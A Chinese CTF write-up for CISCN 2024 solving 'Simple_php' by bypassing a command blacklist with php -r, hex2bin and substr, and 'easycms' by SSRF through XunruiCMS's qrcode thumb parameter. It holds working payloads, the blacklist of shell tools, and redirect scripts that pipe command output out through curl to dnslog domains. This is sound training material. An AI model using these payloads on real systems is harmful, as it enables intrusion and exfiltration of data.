Ciscn2024

Simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

此时发现该过滤的都过滤了;而我们可以利用php -r来执行命令

此时我们能绕过的就是进行编码进行绕过;而因为base64xxd都被过滤;此时我们就可以尝试hex2bin编码;此时的hex2bin可以将十六进制转为ascii

但是此时有个问题就是hex2bin要求里面的参数类型为字符串;但是我们的""又被过滤了。此时我们可以考虑使用_使其默认为字符串;然后再使用substr()来截取后续我们要执行的命令来绕过。

所以此时的思路就是使用hex2bin()来编码绕过上面的关键词检测,接着使用_下划线来使得hex2bin中的编码成为字符串,最后再使用substr()来截取编码后的命令。

payload如下:

1
cmd=php -r $a=hex2bin(substr(_6c73202f,1));system($a);

此时发现flag不在目录下面,但是当我们使用grep -r "flag" /来全局查找flag时会发现有一些日语

此时翻译完后是

1
此系统上存在一个名为的文件。 该数字表示无法自动升级(或降级)的数据库二进制格式的版本。 nn因此,旧数据目录将重命名为 /var/lib/mysql-*,新数据目录将初始化为 /var/lib/mysql。 nn如有必要,手动导出/导入数据(例如使用 mysqldump)。

既然找不到flag;那么此时我就可以怀疑flag就在mysql数据库里面。

此时执行

payload

1
mysql -u root -p'root' -e 'show databases';

来登录并查看所有的数据库的库

接下来我们逐一的查看库下面的表,后面可以发现再PHP_CMSflag

payload

1
mysql -u root -p'root' -e 'use PHP_CMS;SHOW TABLES;'

所以此时的最终的payload

1
mysql -u root -p'root' -e 'use PHP_CMS;SHOW TABLES;select * from F1ag_Se3Re7;'

flag{d3dad6c8-fd34-499a-9428-6f82c92c11af}

easycms

hint:

1
2
3
4
5
6
7
8
9
10
简单的cms,可以扫扫看? 提示1: /flag.php: 

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}

提示2:github找一下源码?

此时扫描结果如下:

此时访问flag.php后会得到回显如下

1
Just input 'cmd' From 127.0.0.1

此时我们大致就可以将思路定下来了,看看能不能利用ssrf。此时我们先搜一下这个cms有没有存在ssrf

此时发现在qrcode中存在ssrf,但是很可惜就是没有给出exp然后又有提示说要查看源码,那大概就是要进行代码审计然后打ssrf了。

白盒审计

在进行代码审计前我们可以先看一下开发者文档,先大致了解一下这些目录的作用

二次开发须知(必读),开发入门,PHP开源CMS系统帮助文档 (xunruicms.com)

此时经过阅读我们将核心放在dayrui目录

此时该目录下的App的作用是应用程序目录、自定义应用、自定义插件、自定义模型;FcmsXunRuiCMS程序类目录,此目录的文件不允许修改;ThirdParty是第三方类的程序文件。此时在大致了解了目录结构之后我们就可以开始代码审计了。因为前面已经给出了ssrf的大致位置,所以此时我们可以直接全局搜素qrcode

此时我们跟进到这个Api.php,此时函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public function qrcode() {

$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));

//生成二维码图片
require_once CMSPATH.'Library/Phpqrcode.php';
$file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
if (is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) {
$logo = imagecreatefromstring(dr_catcher_data($thumb));
$QR_width = imagesx($QR);//二维码图片宽度
$QR_height = imagesy($QR);//二维码图片高度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width/$logo_qr_width;
$logo_qr_height = $logo_height/$scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, $from_width, $from_width, 0, 0, $logo_qr_width, $logo_qr_height, $logo_width, $logo_height);
imagepng($QR, $file);
}
}

// 输出图片
ob_start();
ob_clean();
header("Content-type: image/png");
ImagePng($QR);
exit;
}

经过审计我们此时发现存在四个参数$value、$thumb、$matrixPointSize、$errorCorrectionLevel;且这四个参数的参数值我们都可以控制,接下来就是看看哪里会有问题。接下来继续看发现file参数由这四个参数组成但是我们不可控制;接下来就定位到了thumb参数,此时在$logo = imagecreatefromstring(dr_catcher_data($thumb));中使用了dr_catcher_datathumb参数进行了处理

我们跟进进去,此时我们注意到一个非常危险的函数curl_exec()

此时的curl_exec()会造成ssrf刚好和我们预期的一样。那么此时我们就可以以thumb参数入手,填入一个302重定向的地址,将这个重定向的地址指向127.0.0.1/flag.php然后再构造cmd来执行命令。

此时我们将这个302重定向的服务架设在自己的vps上面

1
2
3
<?php
header("location: http://127.0.0.1/flag.php?cmd=curl+`/readflag`.60d0d78e.dnslog.biz.");
?>

然后构造payload让我们的靶机来访问这个重定向的网址,使其自己访问自己的flag.php目录,进而执行命令

此时我们经管部阅读开发者文档我们可以知道如何进行构造

payload如下

1
/index.php?s=api&c=api&m=qrcode&thumb=123.207.xx.xx&text=1&size=2&level=1

easycms_revenge

这题和昨天的不一样的点就在多了一个图片的检测;此时我们的解决办法就是在302重定向的目录下在放一张真正的图片

payload如下

1
2
3
4
<?php
header("location: http://127.0.0.1/flag.php?cmd=curl+`ls /`.hey.dnslog.pw");
echo file_get_contents('gi4ntHaRd.png');
?>